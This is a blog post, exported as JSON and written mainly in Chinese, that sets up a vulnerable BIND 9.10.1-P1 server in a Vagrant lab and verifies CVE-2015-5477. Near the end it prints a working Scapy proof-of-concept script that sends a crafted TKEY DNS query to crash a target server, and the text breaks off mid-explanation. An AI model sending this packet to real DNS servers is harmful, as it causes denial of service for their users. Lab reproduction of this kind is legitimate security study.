{"id":28708,"date":"2023-11-20T08:06:37","date_gmt":"2022-11-26T13:46:30","guid":{"rendered":"https:\/\/www.silicloud.com\/zh\/blog\/%e6%88%91%e5%b0%9d%e8%af%95%e7%bc%96%e5%86%99%e5%b9%b6%e9%aa%8c%e8%af%81%e4%ba%86bind9%e7%9a%84%e6%bc%8f%e6%b4%9ecve-2015-5477%e7%9a%84poc%e3%80%82-2\/"},"modified":"2025-08-12T09:40:07","modified_gmt":"2025-08-12T01:40:07","slug":"%e6%88%91%e5%b0%9d%e8%af%95%e7%bc%96%e5%86%99%e5%b9%b6%e9%aa%8c%e8%af%81%e4%ba%86bind9%e7%9a%84%e6%bc%8f%e6%b4%9ecve-2015-5477%e7%9a%84poc%e3%80%82-2","status":"publish","type":"post","link":"https:\/\/www.silicloud.com\/zh\/blog\/%e6%88%91%e5%b0%9d%e8%af%95%e7%bc%96%e5%86%99%e5%b9%b6%e9%aa%8c%e8%af%81%e4%ba%86bind9%e7%9a%84%e6%bc%8f%e6%b4%9ecve-2015-5477%e7%9a%84poc%e3%80%82-2\/","title":{"rendered":"\u6211\u5c1d\u8bd5\u7f16\u5199\u5e76\u9a8c\u8bc1\u4e86BIND9\u7684\u6f0f\u6d1e(CVE-2015-5477)\u7684PoC"},"content":{"rendered":"<p>BIND9\u88ab\u516c\u5f00\u79f0\u4e3a\u53ef\u53d7\u5230DoS\u653b\u51fb\u7684\u6f0f\u6d1e<br \/>\n&#8211; http:\/\/jprs.jp\/tech\/security\/2015-07-08-bind9-vuln-dnssec-validation.html<\/p>\n<p>\u7531\u4e8e\u4e25\u91cd\u6027\u88ab\u6807\u8bb0\u4e3a\u201c\u4e25\u91cd\u201d\uff0c\u6240\u4ee5\u6211\u51b3\u5b9a\u81ea\u5df1\u9a8c\u8bc1\u4e00\u4e0b\u3002<br \/>\n\u867d\u7136PoC\u672c\u8eab\u5199\u5f97\u6709\u4e9b\u65e9\uff0c\u5bfc\u81f4\u6587\u7ae0\u63a8\u8fdf\u53d1\u5e03\uff0c\u4f46\u6b63\u597d\u5728\u8fd9\u671f\u95f4\u51fa\u73b0\u4e86\u4e00\u7bc7\u6613\u61c2\u7684\u6587\u7ae0\uff0c\u56e0\u6b64\u6211\u4f1a\u8ba9\u90a3\u7bc7\u6587\u7ae0\u89e3\u91ca\u539f\u7406\uff0c\u800c\u672c\u6587\u5219\u4f1a\u89e3\u91ca\u9a8c\u8bc1\u7684\u65b9\u6cd5\u3002<br \/>\n\u6211\u77e5\u9053\u662f\u5426\u516c\u5f00PoC\u4e5f\u6709\u4e89\u8bae\uff0c\u4f46\u56e0\u4e3a\u5df2\u7ecf\u5728\u8f83\u957f\u65f6\u95f4\u524d\u516c\u5f00\u8fc7\uff0c\u6240\u4ee5\u6211\u8ba4\u4e3a\u6ca1\u6709\u95ee\u9898\u3002<\/p>\n<h1>\u8bf7\u63d0\u4f9b\u4ee5\u4e0b\u7684\u53c2\u8003\u3002<\/p>\n<ul class=\"post-ul\">\n<li style=\"list-style-type: none;\">\n<ul class=\"post-ul\">BIND\u306eDOS\u8106\u5f31\u6027(CVE-2015-5477)\u306b\u3064\u3044\u3066\u306e\u8abf\u67fb\u3068\u5bfe\u7b56<\/ul>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul class=\"post-ul\">\n<li style=\"list-style-type: none;\">\n<ul class=\"post-ul\">BIND\u306b\u5b58\u5728\u3059\u308b\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\u306e\u8106\u5f31\u6027\u3001Windows2000\u4e92\u63db\u30b3\u30fc\u30c9\u306b\u539f\u56e0<\/ul>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul class=\"post-ul\">DNS\u30b5\u30fc\u30d0\u69cb\u7bc9\u624b\u9806(\u30bd\u30fc\u30b9\u304b\u3089BIND 9.10.1-P1\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb + \u5185\u90e8\u5411\u3051\u6a29\u5a01DNS\u30b5\u30fc\u30d0\u69cb\u7bc9)<\/ul>\n<h1>\u9a8c\u8bc1\u73af\u5883<\/p>\n<ul class=\"post-ul\">\n<li style=\"list-style-type: none;\">\n<ul class=\"post-ul\">BIND<\/ul>\n<\/li>\n<\/ul>\n<p>9.10.1-P1<\/p>\n<p>\u30db\u30b9\u30c8OS<\/p>\n<p>Mac OSX 10.10.4<\/p>\n<p>\u30b2\u30b9\u30c8OS<\/p>\n<p>CentOS 6.5<\/p>\n<p>Scapy<\/p>\n<p>2.3.1<\/p>\n<h1>\u64cd\u4f5c\u6b65\u9aa4\u9996\u5148\uff0c\u6211\u4eec\u9700\u8981\u4ece\u6e90\u4ee3\u7801\u5b89\u88c5BIND\u3002<br \/>\n\u57fa\u672c\u4e0a\uff0c\u6211\u4eec\u4f1a\u6309\u7167\u53c2\u8003\u7f51\u7ad9\u4e0a\u7684\u6b65\u9aa4\u8fdb\u884c\u5b89\u88c5\uff0c\u4f46\u4f1a\u5bf9\u4e0d\u9700\u8981\u8fdb\u884c\u9a8c\u8bc1\u7684\u90e8\u5206\u6216\u8005\u65e0\u6cd5\u8fd0\u884c\u7684\u90e8\u5206\u8fdb\u884c\u4fee\u6b63\u3002<\/p>\n<h2>\u670d\u52a1\u5668\u5efa\u8bbe\u8fd9\u6b21\u6211\u4eec\u4f7f\u7528\u4e86Vagrant\u6765\u6784\u5efa\u865a\u62df\u673a\u8fdb\u884c\u9a8c\u8bc1\u3002\u6211\u8ba4\u4e3a\u53ea\u8981BIND\u80fd\u8fd0\u884c\u5c31\u53ef\u4ee5\u3002<\/p>\n<h3>\u8bf7\u4f7f\u7528Vagrant\u6765\u6784\u5efa\u865a\u62df\u673a\u3002\u6211\u4f7f\u7528\u4e86\u9002\u7528\u4e8eCentOS 6.5\u7684box\u3002<br \/>\n\u53ea\u8981\u80fd\u901a\u8fc7vagrant ssh\u767b\u5f55\u5373\u53ef\u3002<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">$<\/span> vagrant box add centos65-x86_64 https:\/\/github.com\/2creatives\/vagrant-centos\/releases\/download\/v6.5.3\/centos65-x86_64-20140116.box\r\n<span class=\"gp\">$<\/span> <span class=\"nb\">mkdir <\/span>CVE-2015-5477\r\n<span class=\"gp\">$<\/span> <span class=\"nb\">cd <\/span>CVE-2015-5477\r\n<span class=\"gp\">$<\/span> vagrant init centos65-x86_64\r\n<span class=\"gp\">$<\/span> vagrant up \r\n<span class=\"gp\">$<\/span> vagrant ssh\r\n<\/code><\/pre>\n<h3>\u5b89\u88c5\u5fc5\u8981\u7684\u4e1c\u897f\u6211\u4f1a\u5148\u5b89\u88c5\u4e00\u4e9b\u5fc5\u8981\u7684\u7269\u54c1\u548c\u6709\u7528\u7684\u4e1c\u897f\u3002<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">[vagrant@vagrant-centos65 ~]$<\/span> <span class=\"nb\">sudo <\/span>su\r\n<span class=\"gp\">[root@vagrant-centos65 vagrant]#<\/span> <span class=\"nb\">cd<\/span>\r\n<span class=\"gp\">[root@vagrant-centos65 ~]#<\/span> yum <span class=\"nt\">-y<\/span> <span class=\"nb\">install <\/span>openssl-devel perl-Net-DNS\r\n<span class=\"gp\">[root@vagrant-centos65 ~]#<\/span> yum <span class=\"nt\">-y<\/span> <span class=\"nb\">install <\/span>wget bind-utils vim\r\n<\/code><\/pre>\n<h3>\u4ece\u6e90\u6587\u4ef6\u5b89\u88c5 BIND\u7531\u4e8eVM\u73af\u5883\u5df2\u7ecf\u6784\u5efa\u5b8c\u6210\uff0c\u73b0\u5728\u6211\u4eec\u5c06\u4ece\u6e90\u6587\u4ef6\u5f00\u59cb\u5b89\u88c5BIND\u3002<\/p>\n<h4>\u4e0b\u8f7d\u6e90\u4ee3\u7801\u6587\u4ef6<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">[root@vagrant-centos65 ~]#<\/span> <span class=\"nb\">cd<\/span> \/usr\/local\/src\r\n<span class=\"gp\">[root@vagrant-centos65 src]#<\/span> wget ftp:\/\/ftp.isc.org\/isc\/bind9\/9.10.1-P1\/bind-9.10.1-P1.tar.gz\r\n<\/code><\/pre>\n<h4>\u5c06\u6e90\u6587\u4ef6\u89e3\u538b\u7f29<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">[root@vagrant-centos65 src]#<\/span> <span class=\"nb\">tar <\/span>zxvf bind-9.10.1-P1.tar.gz\r\n<span class=\"gp\">[root@vagrant-centos65 src]#<\/span> <span class=\"nb\">cd <\/span>bind-9.10.1-P1\r\n<\/code><\/pre>\n<h4>\u5b89\u88c5<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> .\/configure <span class=\"nt\">--prefix<\/span><span class=\"o\">=<\/span>\/var\/named\/chroot <span class=\"nt\">--enable-threads<\/span> <span class=\"nt\">--with-openssl<\/span><span class=\"o\">=<\/span><span class=\"nb\">yes<\/span> <span class=\"nt\">--enable-openssl-version-check<\/span> <span class=\"nt\">--enable-ipv6<\/span>\r\n<span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> <span class=\"nb\">chown<\/span> <span class=\"nt\">-R<\/span> root:root \/usr\/local\/src\/bind-9.10.1-P1\r\n<span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> make\r\n<span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> make <span class=\"nb\">install<\/span>\r\n<\/code><\/pre>\n<h4>\u786e\u8ba4\u6211\u4eec\u6700\u540e\u4f1a\u786e\u8ba4\u5b89\u88c5\u662f\u5426\u6210\u529f\u3002<\/p>\n<pre class=\"post-pre\"><code>[root@vagrant-centos65 bind-9.10.1-P1]# \/var\/named\/chroot\/sbin\/named -v\r\nBIND 9.10.1-P1\r\n<\/code><\/pre>\n<p>\u53ea\u8981\u663e\u793a\u4e86BIND\u7684\u7248\u672c\uff0c\u5c31\u8bf4\u660e\u5df2\u7ecf\u5b89\u88c5\u6210\u529f\u4e86\u3002<\/p>\n<h3>BIND\u7684\u914d\u7f6e\u73b0\u5728\u6211\u4eec\u8981\u8fdb\u884cBIND\u7684\u8bbe\u7f6e\u3002<\/p>\n<h4>\u521b\u5efa\u7528\u6237\u7ec4\u521b\u5efabind\u7528\u6237\u548c\u7ec4\u3002<\/p>\n<pre class=\"post-pre\"><code>[root@vagrant-centos65 bind-9.10.1-P1]# groupadd -g 25 bind\r\n[root@vagrant-centos65 bind-9.10.1-P1]# useradd -u 25 -g bind -d \/var\/named -c \"DNS BIND Named User\" -s \/sbin\/nologin bind\r\nuseradd: warning: the home directory already exists.\r\nNot copying any file from skel directory into it.\r\n<\/code><\/pre>\n<h4>\u521b\u5efa\u8bbe\u5907\u6587\u4ef6<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> <span class=\"nb\">mkdir<\/span> \/var\/named\/chroot\/dev\r\n<span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> <span class=\"nb\">mknod<\/span> <span class=\"nt\">-m<\/span> 666 \/var\/named\/chroot\/dev\/null c 1 3\r\n<span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> <span class=\"nb\">mknod<\/span> <span class=\"nt\">-m<\/span> 666 \/var\/named\/chroot\/dev\/random c 1 8\r\n<\/code><\/pre>\n<h4>\u521b\u5efarndc\u5bc6\u94a5<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> \/var\/named\/chroot\/sbin\/rndc-confgen <span class=\"nt\">-a<\/span>\r\n<span class=\"go\">wrote key file \"\/var\/named\/chroot\/etc\/rndc.key\"\r\n<\/span><\/code><\/pre>\n<h4>\u521b\u5efa\u7528\u4e8e\u5b58\u50a8\u6570\u636e\u7684\u76ee\u5f55\u3002<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> <span class=\"nb\">mkdir<\/span> \/var\/named\/chroot\/data\r\n<span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> <span class=\"nb\">mkdir<\/span> \/var\/named\/chroot\/var\/log\r\n<\/code><\/pre>\n<h4>\u521b\u5efanamed.conf\u6587\u4ef6<br \/>\n\u6211\u8ba1\u5212\u4ee5\u7f13\u5b58\u670d\u52a1\u5668\u4e3a\u76ee\u6807\u8fdb\u884c\u9a8c\u8bc1\uff0c\u56e0\u4e3a\u5728\u8fd9\u6b21\u6f0f\u6d1e\u4e2d\uff0c\u5185\u5bb9\u670d\u52a1\u5668\u548c\u7f13\u5b58\u670d\u52a1\u5668\u90fd\u4f1a\u53d7\u5230\u5f71\u54cd\u3002\u63a5\u4e0b\u6765\u5c06\u521b\u5efa\u4ee5\u4e0b\u914d\u7f6e\u6587\u4ef6\u3002\u6211\u53ea\u4f1a\u5199\u5165\u771f\u6b63\u5fc5\u8981\u7684\u6700\u57fa\u672c\u7684\u5185\u5bb9\u3002<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> vi \/var\/named\/chroot\/etc\/named.conf\r\n<span class=\"go\">\r\nControls {\r\n<\/span><span class=\"gp\">        inet 127.0.0.1 allow { localhost;<\/span> <span class=\"o\">}<\/span> keys <span class=\"o\">{<\/span> rndc-key<span class=\"p\">;<\/span> <span class=\"o\">}<\/span><span class=\"p\">;<\/span>\r\n<span class=\"gp\">};<\/span>\r\n\r\n<span class=\"gp\">include \"\/etc\/rndc.key\";<\/span>\r\n<span class=\"go\">\r\nacl \"internal-network\" {\r\n<\/span><span class=\"gp\">        localhost;<\/span>\r\n<span class=\"gp\">        127.0.0.1\/32;<\/span>\r\n<span class=\"gp\">        192.168.0.0\/16;<\/span>\r\n<span class=\"gp\">};<\/span>\r\n<span class=\"go\">\r\noptions {\r\n<\/span><span class=\"gp\">        version \"unknown\";<\/span>\r\n<span class=\"gp\">        hostname \"ns1.test.example.com\";<\/span>\r\n\r\n<span class=\"gp\">        directory \"\/var\";<\/span>\r\n<span class=\"gp\">        dump-file \"\/data\/cache_dump.db\";<\/span>\r\n<span class=\"gp\">        statistics-file \"\/data\/named_status.dat\";<\/span>\r\n<span class=\"gp\">        pid-file \"\/var\/run\/named\/named.pid\";<\/span>\r\n<span class=\"go\">\r\n        listen-on port 53 {\r\n<\/span><span class=\"gp\">                internal-network;<\/span>\r\n<span class=\"gp\">        };<\/span>\r\n\r\n<span class=\"gp\">        allow-query { internal-network;<\/span> <span class=\"o\">}<\/span><span class=\"p\">;<\/span>\r\n\r\n<span class=\"gp\">        recursion yes;<\/span>\r\n<span class=\"gp\">        allow-recursion { internal-network;<\/span> <span class=\"o\">}<\/span><span class=\"p\">;<\/span>\r\n\r\n<span class=\"gp\">        notify yes;<\/span>\r\n<span class=\"gp\">        max-transfer-time-in 60;<\/span>\r\n<span class=\"gp\">        transfer-format many-answers;<\/span>\r\n<span class=\"gp\">        transfers-in 10;<\/span>\r\n<span class=\"gp\">        transfers-per-ns 2;<\/span>\r\n<span class=\"gp\">        allow-transfer { none;<\/span> <span class=\"o\">}<\/span><span class=\"p\">;<\/span>\r\n\r\n<span class=\"gp\">        allow-update { none;<\/span> <span class=\"o\">}<\/span><span class=\"p\">;<\/span>\r\n<span class=\"gp\">};<\/span>\r\n<\/code><\/pre>\n<h4>\u521b\u5efa\u7b26\u53f7\u94fe\u63a5<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> <span class=\"nb\">ln<\/span> <span class=\"nt\">-s<\/span> \/var\/named\/chroot\/etc\/rndc.key \/etc\/rndc.key\r\n<span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> <span class=\"nb\">ln<\/span> <span class=\"nt\">-s<\/span> \/var\/named\/chroot\/etc\/named.conf \/etc\/named.conf\r\n<\/code><\/pre>\n<h4>\u521b\u5efa\u540d\u4e3a &#8220;named&#8221; \u7684\u6587\u4ef6<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> vi \/etc\/sysconfig\/named\r\n<span class=\"go\">ROOTDIR=\/var\/named\/chroot\r\nOPTIONS=-4\r\n<\/span><\/code><\/pre>\n<h3>\u5f00\u59cbBIND\u7531\u4e8e\u5df2\u7ecf\u5b8c\u6210BIND\u7684\u5b89\u88c5\uff0c\u73b0\u5728\u5c06\u542f\u52a8\u5b83\u3002<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> \/usr\/local\/sbin\/named-checkconf \/var\/named\/chroot\/etc\/named.conf\r\n<span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> <span class=\"nb\">chown<\/span> <span class=\"nt\">-R<\/span> <span class=\"nb\">bind<\/span>:bind \/var\/named\r\n<span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> \/var\/named\/chroot\/sbin\/named <span class=\"nt\">-u<\/span> <span class=\"nb\">bind<\/span> <span class=\"nt\">-t<\/span> \/var\/named\/chroot <span class=\"nt\">-c<\/span> \/etc\/named.conf\r\n<span class=\"gp\">[root@vagrant-centos65 vagrant]#<\/span> ps awux | <span class=\"nb\">grep<\/span> <span class=\"nt\">-v<\/span> <span class=\"nb\">grep<\/span> | <span class=\"nb\">grep bind<\/span>\r\n<span class=\"go\">rpc       1062  0.0  0.1  18976   892 ?        Ss   14:10   0:00 rpcbind\r\nbind      2345  1.0  2.2 141164 13428 ?        Ssl  14:35   0:00 \/var\/named\/chroot\/sbin\/named -u bind -t \/var\/named\/chroot -c \/etc\/named.conf\r\n<\/span><\/code><\/pre>\n<p>\u5982\u679c\u50cf\u4e0a\u9762\u6240\u8ff0\u7684\u90a3\u6837\u542f\u52a8\u4e86named\uff0c\u5c31\u8868\u793a\u6210\u529f\u3002<br \/>\n\u5982\u679c\u6ca1\u6709\u542f\u52a8\uff0c\u8bf7\u786e\u8ba4\u662f\u5426\u6ca1\u6709\u51fa\u73b0\u9519\u8bef\u3002<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> less \/var\/log\/messages\r\n<span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> less \/var\/named\/chroot\/var\/log\/alert.log\r\n<span class=\"gp\">[root@vagrant-centos65 bind-9.10.1-P1]#<\/span> less \/var\/named\/chroot\/var\/log\/named.log\r\n<\/code><\/pre>\n<h2>\u8106\u5f31\u6027\u9a8c\u8bc1 (cui ruo xing yan zheng)\u7531\u65bcBIND\u7684\u5b89\u88dd\u7d42\u65bc\u5b8c\u6210\uff0c\u6211\u5011\u5c07\u9032\u884c\u5f31\u9ede\u9a57\u8b49\u3002<br \/>\n\u5728\u9019\u500b\u5f31\u9ede\u4e2d\uff0c\u900f\u904e\u63d0\u51fa\u4ee5\u4e0b\u689d\u4ef6\u7684DNS\u67e5\u8a62\uff0c\u4f3c\u4e4e\u53ef\u4ee5\u9032\u884c\u62d2\u7d55\u670d\u52d9\u653b\u64ca\u3002<\/p>\n<ul class=\"post-ul\">\n<li style=\"list-style-type: none;\">\n<ul class=\"post-ul\">\u30af\u30a8\u30ea\u30ec\u30b3\u30fc\u30c9\u306e\u30bb\u30af\u30b7\u30e7\u30f3\u306eType\u306bTKEY\u3092\u6307\u5b9a\u3059\u308b<\/ul>\n<\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<ul class=\"post-ul\">\u8ffd\u52a0\u30ec\u30b3\u30fc\u30c9\u306e\u30bb\u30af\u30b7\u30e7\u30f3\u306f\u3001\u30af\u30a8\u30ea\u30ec\u30b3\u30fc\u30c9\u3068\u540c\u3058\u540d\u524d\u3092\u6301\u3064\u30ec\u30b3\u30fc\u30c9\u3092\u6307\u5b9a\u3059\u308b\uff08\u305f\u3060\u3057\u3001TKEY\u4ee5\u5916\uff09<\/ul>\n<p>\u56e0\u6b64\uff0c\u672c\u6b21\u6211\u5011\u6253\u7b97\u4f7f\u7528Python\u7684\u5eabScapy\u4f86\u751f\u6210\u6eff\u8db3\u4e0a\u8ff0\u689d\u4ef6\u7684\u5c01\u5305\u3002<\/p>\n<h3>\u66f4\u6539\u6865\u63a5\u8fde\u63a5<br \/>\n\u8fd9\u6b21\u6211\u4eec\u5c06\u4ece\u4e3b\u673a\u64cd\u4f5c\u7cfb\u7edf\u5411\u865a\u62df\u673a\u64cd\u4f5c\u7cfb\u7edf\u6295\u63b7\u653b\u51fb\u6570\u636e\u5305\u8fdb\u884c\u9a8c\u8bc1\u3002<br \/>\n\u7531\u4e8e\u4f7f\u7528NAT\u4f1a\u5f88\u9ebb\u70e6\uff0c\u6240\u4ee5\u6211\u4eec\u5c06\u7f16\u8f91Vagrantfile\u5e76\u5207\u6362\u5230\u6865\u63a5\u6a21\u5f0f\u8fde\u63a5\u3002<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">$<\/span> vim Vagrantfile\r\n<span class=\"gp\">#<\/span>\u4ee5\u4e0b\u306e\u884c\u3092\u30b3\u30e1\u30f3\u30c8\u30a4\u30f3\u3059\u308b\r\n<span class=\"go\">config.vm.network \"public_network\"\r\n<\/span><\/code><\/pre>\n<p>\u7531\u4e8e\u66f4\u6539\u4e86Vagrantfile\uff0c\u56e0\u6b64\u9700\u8981\u91cd\u65b0\u542f\u52a8\u3002<\/p>\n<pre class=\"post-pre\"><code><span class=\"gp\">$<\/span> vagrant reload\r\n<span class=\"gp\">==&gt;<\/span> default: Attempting graceful shutdown of VM...\r\n<span class=\"gp\">==&gt;<\/span> default: Clearing any previously <span class=\"nb\">set <\/span>forwarded ports...\r\n<span class=\"gp\">==&gt;<\/span> default: Fixed port collision <span class=\"k\">for <\/span>22 <span class=\"o\">=&gt;<\/span> 2222. Now on port 2200.\r\n<span class=\"gp\">==&gt;<\/span> default: Clearing any previously <span class=\"nb\">set <\/span>network interfaces...\r\n<span class=\"gp\">==&gt;<\/span> default: Available bridged network interfaces:\r\n<span class=\"go\">1) en0: Wi-Fi (AirPort)\r\n2) en1: Thunderbolt 1\r\n3) en2: Thunderbolt 2\r\n4) bridge0\r\n5) p2p0\r\n6) awdl0\r\n<\/span><span class=\"gp\">==&gt;<\/span> default: When choosing an interface, it is usually the one that is\r\n<span class=\"gp\">==&gt;<\/span> default: being used to connect to the internet.\r\n<span class=\"go\">    default: Which interface should the network bridge to? 1\r\n\uff08\u4ee5\u4e0b\u7565\uff09\r\n<\/span><\/code><\/pre>\n<p>\u7531\u4e8e\u9700\u8981\u6307\u5b9a\u8981\u8fde\u63a5\u7684\u63a5\u53e3\uff0c\u6240\u4ee5\u4f1a\u95ee\u4f60\u8981\u8fde\u63a5\u5230\u54ea\u4e2a\u63a5\u53e3\uff08\u8fd9\u6b21\u6211\u60f3\u6307\u5b9aen0\u63a5\u53e3\uff0c\u6240\u4ee5\u9009\u62e91\uff09\u3002<\/p>\n<h3>\u5b89\u88c5Scapy\u7531\u4e8e\u4e3b\u673a\u64cd\u4f5c\u7cfb\u7edf\u662fMac\uff0c\u56e0\u6b64\u4ee5\u540e\u7684\u64cd\u4f5c\u5c06\u5728Mac\u7684\u7ec8\u7aef\u4e0a\u8fdb\u884c\u3002<br \/>\nScapy\u7684\u5b89\u88c5\u65b9\u6cd5\u53ef\u4ee5\u901a\u8fc7\u641c\u7d22\u5f97\u5230\uff0c\u4f46\u662f\u6211\u5c1d\u8bd5\u4e86\u4e00\u4e0b\u6ca1\u6709\u6210\u529f\uff0c\u6240\u4ee5\u6211\u6309\u7167\u4ee5\u4e0b\u6b65\u9aa4\u8fdb\u884c\u4e86\u5b89\u88c5\u3002<\/p>\n<pre class=\"post-pre\"><code>$ pip install dnet\r\n$ pip install http:\/\/ncu.dl.sourceforge.net\/project\/pylibpcap\/pylibpcap\/0.6.4\/pylibpcap-0.6.4.tar.gz\r\n$ pip install scapy\r\n<\/code><\/pre>\n<p>\u6211\u4ee5\u4e3a\u53ea\u9700\u4f7f\u7528Scapy\u5c31\u80fd\u5b89\u88c5\uff0c\u4f46\u662f\u7531\u4e8e\u7f3a\u5c11dnet\u7b49\u6587\u4ef6\uff0c\u65e0\u6cd5\u987a\u5229\u4f7f\u7528\uff0c\u6240\u4ee5\u6211\u8fdb\u884c\u4e86\u5b89\u88c5\u3002<\/p>\n<h3>\u521b\u5efa\u6570\u636e\u5305\u5728Scapy\u4e2d\uff0c\u63d0\u4f9b\u4e86\u7528\u4e8e\u521b\u5efaDNS\u6570\u636e\u5305\u7684\u7c7b\u3002<br \/>\n\u6b64\u5916\uff0c\u8fd8\u63d0\u4f9b\u4e86\u7528\u4e8e\u521b\u5efa\u67e5\u8be2\u8bb0\u5f55\uff08Query Record\uff09\u90e8\u5206\u548c\u9644\u52a0\u8bb0\u5f55\uff08Additional Record\uff09\u90e8\u5206\u7684\u7c7b\uff0c\u56e0\u6b64\u53ef\u4ee5\u65b9\u4fbf\u5730\u751f\u6210\u653b\u51fb\u6570\u636e\u5305\u3002<br \/>\n\u672c\u6b21\u6211\u4eec\u5c06\u751f\u6210\u5982\u4e0b\u6240\u793a\u7684DNS\u6570\u636e\u5305\u3002<\/p>\n<ul class=\"post-ul\">\n<li style=\"list-style-type: none;\">\n<ul class=\"post-ul\">\u30af\u30a8\u30ea\u30ec\u30b3\u30fc\u30c9<\/ul>\n<\/li>\n<\/ul>\n<p>Name : example.com<br \/>\nType : TKEY(249)<\/p>\n<p>\u8ffd\u52a0\u30ec\u30b3\u30fc\u30c9<\/p>\n<p>Name : example.com<br \/>\nType : TXT(16)<\/p>\n<p>\u901a\u8fc7\u8fd9\u6837\u505a\uff0c\u53ef\u4ee5\u6ee1\u8db3\u6700\u521d\u6240\u8ff0\u7684\u653b\u51fb\u6570\u636e\u5305\u7684\u6761\u4ef6\u3002<br \/>\n\u7136\u800c\uff0c\u7531\u4e8eScapy\u65e0\u6cd5\u6307\u5b9aTKEY\uff0c\u6240\u4ee5\u76f4\u63a5\u4f7f\u7528\u6570\u5b57\u8fdb\u884c\u4e86\u6307\u5b9a\u3002<br \/>\n\u5b9e\u9645\u7684\u4ee3\u7801\u5982\u4e0b\u6240\u793a\u3002<\/p>\n<pre class=\"post-pre\"><code><span class=\"c1\">#!\/usr\/bin\/python\r\n#coding:utf-8\r\n<\/span>\r\n<span class=\"kn\">import<\/span> <span class=\"nn\">sys<\/span>\r\n<span class=\"kn\">from<\/span> <span class=\"nn\">scapy.all<\/span> <span class=\"kn\">import<\/span> <span class=\"o\">*<\/span>\r\n\r\n<span class=\"n\">pkt<\/span> <span class=\"o\">=<\/span> <span class=\"n\">IP<\/span><span class=\"p\">(<\/span><span class=\"n\">dst<\/span><span class=\"o\">=<\/span><span class=\"n\">sys<\/span><span class=\"p\">.<\/span><span class=\"n\">argv<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">])<\/span> <span class=\"o\">\/<\/span> <span class=\"n\">UDP<\/span><span class=\"p\">(<\/span><span class=\"n\">dport<\/span><span class=\"o\">=<\/span><span class=\"mi\">53<\/span><span class=\"p\">)<\/span> <span class=\"o\">\/<\/span> <span class=\"n\">DNS<\/span><span class=\"p\">(<\/span><span class=\"n\">qd<\/span><span class=\"o\">=<\/span><span class=\"n\">DNSQR<\/span><span class=\"p\">(<\/span><span class=\"n\">qname<\/span><span class=\"o\">=<\/span><span class=\"s\">\"example.com\"<\/span><span class=\"p\">,<\/span> <span class=\"n\">qtype<\/span><span class=\"o\">=<\/span><span class=\"mi\">249<\/span><span class=\"p\">,<\/span> <span class=\"n\">qclass<\/span><span class=\"o\">=<\/span><span class=\"s\">'ANY'<\/span><span class=\"p\">),<\/span> <span class=\"n\">rd<\/span><span class=\"o\">=<\/span><span class=\"mi\">1<\/span><span class=\"p\">,<\/span> <span class=\"n\">ad<\/span><span class=\"o\">=<\/span><span class=\"mi\">1<\/span><span class=\"p\">,<\/span> <span class=\"n\">ar<\/span><span class=\"o\">=<\/span><span class=\"n\">DNSRR<\/span><span class=\"p\">(<\/span><span class=\"n\">rrname<\/span><span class=\"o\">=<\/span><span class=\"s\">\"example.com\"<\/span><span class=\"p\">,<\/span> <span class=\"nb\">type<\/span><span class=\"o\">=<\/span><span class=\"s\">'TXT'<\/span><span class=\"p\">,<\/span> <span class=\"n\">rclass<\/span><span class=\"o\">=<\/span><span class=\"s\">'ANY'<\/span><span class=\"p\">,<\/span> <span class=\"n\">rdata<\/span><span class=\"o\">=<\/span><span class=\"s\">'https:\/\/github.com\/knqyf263\/cve-2015-5477'<\/span><span class=\"p\">))<\/span>\r\n<span class=\"n\">sr1<\/span><span class=\"p\">(<\/span><span class=\"n\">pkt<\/span><span class=\"p\">)<\/span>\r\n<\/code><\/pre>\n<p>\u53ea\u9700\u8981\u8fd9\u4e00\u4e2a\u9009\u9879\uff1a\u5982\u679c\u5c06\u7528\u4e8e\u53d1\u9001\u7684sr1\u4e5f\u5199\u5728\u540c\u4e00\u884c\u4e0a\uff0c\u90a3\u51e0\u4e4e\u5c31\u662f\u4e00\u4e2a\u5355\u884c\u7a0b\u5e8f\u3002<br \/>\n\u4ece\u547d\u4ee4\u884c\u53c2\u6570\u4e2d\u63a5\u6536\u653b\u51fb\u76ee\u6807DNS\u670d\u52a1\u5668\u7684IP\u5730\u5740\uff0c\u5e76\u5411\u8be5\u670d\u52a1\u5668\u53d1\u9001\u653b\u51fb\u6570\u636e\u5305\u3002<br 